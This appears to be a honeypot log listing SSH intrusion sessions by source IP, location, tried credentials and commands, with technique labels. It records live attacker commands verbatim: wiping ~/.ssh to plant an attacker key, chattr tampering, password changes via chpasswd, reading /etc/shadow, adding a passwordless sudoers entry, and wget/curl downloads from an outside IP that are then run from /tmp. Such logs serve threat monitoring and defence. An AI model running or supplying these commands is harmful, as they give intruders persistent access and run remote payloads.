$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 eagle_root_13 (12.156.67.18) β€” Oakland, United States Β· 2 sessions Β· 4 cmds
2026-04-11 17:36 EDT Β· as oracle/Oracle06, oracle/Oracle2025!@#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 cowboy_root_10 (172.208.62.162) β€” Boydton, United States Β· 1 session Β· 1 cmd
2026-04-11 15:18 EDT Β· as root/12345678
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 wraith_root_40 (37.221.67.130) β€” Chisinau, Moldova Β· 1 session Β· 2 cmds
2026-04-11 14:05 EDT Β· as oracle/oracle08
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 lantern_root_17 (139.198.29.172) β€” Longtan, China Β· 1 session Β· 1 cmd
2026-04-11 12:37 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 panda_root_12 (58.251.255.139) β€” Guangzhou, China Β· 1 session Β· 1 cmd
2026-04-11 12:31 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 pretzel_root_6 (87.106.46.37) β€” Berlin, Germany Β· 1 session Β· 2 cmds
2026-04-11 12:15 EDT Β· as oracle/Oracle2026!@#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 samba_root_3 (191.17.128.97) β€” SΓ£o Paulo, Brazil Β· 1 session Β· 2 cmds
2026-04-11 11:41 EDT Β· as oracle/oracle21!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wok_root_24 (101.126.155.86) β€” Haidian, China Β· 1 session Β· 2 cmds
2026-04-11 11:10 EDT Β· as oracle/Oracle!@#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cowboy_sol_2 (142.248.80.104) β€” Wilmington, United States Β· 1 session Β· 1 cmd
2026-04-11 10:51 EDT Β· as root/password
uptime check
$ uptime
↳ uptime check
🎭 lantern_root_18 (180.130.116.170) β€” Kunming, China Β· 1 session Β· 1 cmd
2026-04-11 10:30 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 jade_root_11 (14.103.123.19) β€” Beijing, China Β· 1 session Β· 2 cmds
2026-04-11 09:42 EDT Β· as oracle/Oracle24
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 panda_root_13 (60.205.226.171) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-11 09:29 EDT Β· as root/12345678
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 specter_root_2 (204.168.220.82) β€” Helsinki, Finland Β· 18 sessions Β· 18 cmds
2026-04-04 11:58 EDT Β· as root/1234, root/123456, root/12345678
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null Γ—18
↳ persistence setup
🎭 cipher_root_54 (68.183.182.130) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-04-11 04:13 EDT Β· as oracle/oracle1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_20 (101.36.108.213) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-11 02:39 EDT Β· as oracle/oracle31
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 star_root_9 (52.159.227.3) β€” San Francisco, United States Β· 2 sessions Β· 2 cmds
2026-04-11 00:05 EDT Β· as root/1234, root/12345678
OS/kernel identification β†’ ps
$ uname -a
↳ OS/kernel identification
$ ps aux | head -10
🎭 cowboy_root_11 (68.220.61.160) β€” San Francisco, United States Β· 2 sessions Β· 2 cmds
2026-04-10 23:48 EDT Β· as root/1234, root/123456
hostname discovery β†’ pwd
$ hostname
↳ hostname discovery
$ pwd
🎭 burger_root_5 (165.227.22.224) β€” Santa Clara, United States Β· 1 session Β· 1 cmd
2026-04-10 23:24 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 lantern_root_19 (120.48.147.81) β€” Beijing, China Β· 1 session Β· 2 cmds
2026-04-10 22:45 EDT Β· as oracle/oracle1
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wraith_root (20.164.21.26) β€” Johannesburg, South Africa Β· 70 sessions Β· 70 cmds
2026-03-22 18:01 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 35x across 35 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—70
🎭 panda_root_14 (120.48.87.166) β€” Beijing, China Β· 1 session Β· 19 cmds
2026-04-10 19:57 EDT Β· as root/admin
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "root:zgAzPaywe80E"|chpasswd|bash β†’ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo >
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:zgAzPaywe80E"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 shadow_root_32 (200.77.172.159) β€” CuauhtΓ©moc, Mexico Β· 1 session Β· 2 cmds
2026-04-10 17:18 EDT Β· as oracle/Oracle23!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 star_root_10 (69.48.204.173) β€” Sulphur Springs, United States Β· 1 session Β· 20 cmds
2026-04-10 16:22 EDT Β· as oracle/oracle07!
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa..." β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo "oracle07!\nXVxP7U0VoZ8N\nXVxP7U0VoZ8N
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "oracle07!\nXVxP7U0VoZ8N\nXVxP7U0VoZ8N"|passwd|bash
$ Enter new UNIX password:
$ echo "oracle07!\nXVxP7U0VoZ8N\nXVxP7U0VoZ8N\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 panda_root_15 (115.190.210.230) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-10 14:56 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 blitz_root_10 (46.225.73.18) β€” Nuremberg, Germany Β· 1 session Β· 1 cmd
2026-04-10 13:06 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 lantern_root_20 (39.102.148.6) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-10 13:01 EDT Β· as oracle/Oracle123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 tulip_sol_4 (176.65.139.101) β€” Eygelshoven, The Netherlands Β· 35 sessions Β· 35 cmds
2026-04-10 10:01 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 ghost_root_35 (105.27.148.94) β€” Nairobi, Kenya Β· 1 session Β· 2 cmds
2026-04-10 07:11 EDT Β· as oracle/root
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_33 (103.218.241.179) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-10 07:04 EDT Β· as oracle/root
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 spice_root_3 (103.30.75.85) β€” Panvel, India Β· 5 sessions Β· 5 cmds
2026-04-10 04:13 EDT Β· as root/1234, root/123456, root/12345678
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -a;id;cat /etc/shadow /etc/passwd;lscpu;echo 'daemon ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers;chsh -s /bin/sh daemon;echo Password123 |passwd daemon --stdin;mkdir ~/.ssh;chattr -ia ~/.ssh/* ~/.ssh;wget http://103.56.149.224/cacti/ns1.jpg -O ~/.ssh/authorized_keys;chmod 600 ~/.ssh/authorized_keys;chmod 700 ~/ ~/.ssh;wget http://103.56.149.224/cacti/ns3.jpg -O /tmp/x;chmod +x /tmp/x;/tmp/x;mv /tmp/x /tmp/o;/tmp/o;rm -f /tmp/o;mkdir /sbin/.ssh;cp ~/.ssh/authorized_keys /sbin/.ssh;chown daemon.daemon /sbin/.ssh /sbin/.ssh/*;chmod 700 /sbin/.ssh;chmod 600 /sbin/.ssh/authorized_keys;wget http://103.56.149.224/cacti/oto -O /tmp/oto;chmod 755 /tmp/oto;/tmp/oto;curl http://103.56.149.224/cacti/oto -o /tmp/oto;chmod 755 /tmp/oto;/tmp/oto;rm -f /tmp/oto Γ—5
↳ password hash extraction
🎭 burger_root_6 (148.72.152.253) β€” St Louis, United States Β· 1 session Β· 2 cmds
2026-04-10 03:38 EDT Β· as oracle/Oracle19!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_55 (43.99.245.200) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-10 02:26 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 cowboy_root_12 (43.166.245.172) β€” Ashburn, United States Β· 1 session Β· 2 cmds
2026-04-09 22:53 EDT Β· as oracle/Oracle26!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_35 (186.122.177.140) β€” Buenos Aires, Argentina Β· 1 session Β· 2 cmds
2026-04-09 22:49 EDT Β· as oracle/oracle2025!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 monet_root (173.249.50.59) β€” Lauterbourg, France Β· 2 sessions Β· 21 cmds
2026-03-17 07:51 EDT Β· as oracle/Oracle26!, root/admin
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
